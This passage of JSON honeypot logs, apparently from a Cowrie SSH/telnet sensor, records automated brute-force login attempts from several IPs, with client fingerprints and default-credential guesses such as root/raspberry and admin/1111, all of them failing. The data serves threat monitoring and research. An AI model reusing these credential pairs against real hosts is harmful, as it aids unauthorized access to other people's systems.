cha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:42.283895Z","src_ip":"176.65.132.129","session":"c989378c74d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:42.537410Z","src_ip":"176.65.132.129","session":"c989378c74d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:43.010072Z","src_ip":"103.149.170.125","session":"15bd5493587a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:43.621888Z","src_ip":"176.65.132.129","session":"c989378c74d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22068,"dst_ip":"10.17.0.5","dst_port":22,"session":"84cea3cd5214","protocol":"ssh","message":"New connection: 2.57.121.112:22068 (10.17.0.5:22) [session: 84cea3cd5214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:44.638059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:44.643713Z","src_ip":"2.57.121.112","session":"84cea3cd5214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:44.745479Z","src_ip":"2.57.121.112","session":"84cea3cd5214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alizee","message":"login attempt [admin/alizee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:45.226228Z","src_ip":"2.57.121.112","session":"84cea3cd5214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58014,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad392ef15c2a","protocol":"ssh","message":"New connection: 176.65.132.129:58014 (159.203.135.109:22) [session: ad392ef15c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:45.467186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:45.472186Z","src_ip":"176.65.132.129","session":"ad392ef15c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:45.554929Z","src_ip":"176.65.132.129","session":"ad392ef15c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:45.981988Z","src_ip":"176.65.132.129","session":"ad392ef15c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aliyah","message":"login attempt [admin/aliyah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:46.330041Z","src_ip":"2.57.121.112","session":"84cea3cd5214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:47.067370Z","src_ip":"176.65.132.129","session":"ad392ef15c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alisa1","message":"login attempt [admin/alisa1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:47.434085Z","src_ip":"2.57.121.112","session":"84cea3cd5214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alex2112","message":"login attempt [admin/alex2112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:48.538791Z","src_ip":"2.57.121.112","session":"84cea3cd5214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45596,"dst_ip":"159.203.135.109","dst_port":22,"session":"9accc40adb27","protocol":"ssh","message":"New connection: 176.65.132.129:45596 (159.203.135.109:22) [session: 9accc40adb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:48.976696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:48.986896Z","src_ip":"176.65.132.129","session":"9accc40adb27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:49.069388Z","src_ip":"176.65.132.129","session":"9accc40adb27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:49.316370Z","src_ip":"176.65.132.129","session":"9accc40adb27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alessandra","message":"login attempt [admin/alessandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:49.642148Z","src_ip":"2.57.121.112","session":"84cea3cd5214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:50.401641Z","src_ip":"176.65.132.129","session":"9accc40adb27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:50.746127Z","src_ip":"2.57.121.112","session":"84cea3cd5214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53764,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e6cb9eb94b","protocol":"telnet","message":"New connection: 152.42.224.71:53764 (10.17.0.5:23) [session: 99e6cb9eb94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:51.325474Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48972,"dst_ip":"10.17.0.5","dst_port":23,"session":"a115ad4e1efb","protocol":"telnet","message":"New connection: 152.42.224.71:48972 (10.17.0.5:23) [session: a115ad4e1efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:51.721880Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45610,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2ab7639670e","protocol":"ssh","message":"New connection: 176.65.132.129:45610 (159.203.135.109:22) [session: e2ab7639670e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:52.264087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:52.269261Z","src_ip":"176.65.132.129","session":"e2ab7639670e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:52.355393Z","src_ip":"176.65.132.129","session":"e2ab7639670e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:52.602568Z","src_ip":"176.65.132.129","session":"e2ab7639670e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20360,"dst_ip":"10.17.0.5","dst_port":22,"session":"031df985febd","protocol":"ssh","message":"New connection: 2.57.121.25:20360 (10.17.0.5:22) [session: 031df985febd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:52.927224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:52.933234Z","src_ip":"2.57.121.25","session":"031df985febd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:53.029622Z","src_ip":"2.57.121.25","session":"031df985febd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"220790","message":"login attempt [user/220790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:53.485484Z","src_ip":"2.57.121.25","session":"031df985febd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:53.824838Z","src_ip":"176.65.132.129","session":"e2ab7639670e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"220788","message":"login attempt [user/220788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:54.584203Z","src_ip":"2.57.121.25","session":"031df985febd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45616,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b5ad823b451","protocol":"ssh","message":"New connection: 176.65.132.129:45616 (159.203.135.109:22) [session: 8b5ad823b451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:55.559427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:55.564752Z","src_ip":"176.65.132.129","session":"8b5ad823b451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:55.655744Z","src_ip":"176.65.132.129","session":"8b5ad823b451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22071978","message":"login attempt [user/22071978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:55.681837Z","src_ip":"2.57.121.25","session":"031df985febd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:55.903618Z","src_ip":"176.65.132.129","session":"8b5ad823b451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22041994","message":"login attempt [user/22041994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:56.780122Z","src_ip":"2.57.121.25","session":"031df985febd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:56.989873Z","src_ip":"176.65.132.129","session":"8b5ad823b451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22041978","message":"login attempt [user/22041978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:57.879379Z","src_ip":"2.57.121.25","session":"031df985febd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40406,"dst_ip":"159.203.135.109","dst_port":22,"session":"adb898eaf6e5","protocol":"ssh","message":"New connection: 176.65.132.129:40406 (159.203.135.109:22) [session: adb898eaf6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:58.866115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:58.870423Z","src_ip":"176.65.132.129","session":"adb898eaf6e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:58.952956Z","src_ip":"176.65.132.129","session":"adb898eaf6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:58.977628Z","src_ip":"2.57.121.25","session":"031df985febd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:05:59.386003Z","src_ip":"176.65.132.129","session":"adb898eaf6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:00.470194Z","src_ip":"176.65.132.129","session":"adb898eaf6e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40430,"dst_ip":"159.203.135.109","dst_port":22,"session":"25a39580ef36","protocol":"ssh","message":"New connection: 176.65.132.129:40430 (159.203.135.109:22) [session: 25a39580ef36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:02.319557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:02.324795Z","src_ip":"176.65.132.129","session":"25a39580ef36","protocol":"ssh"}
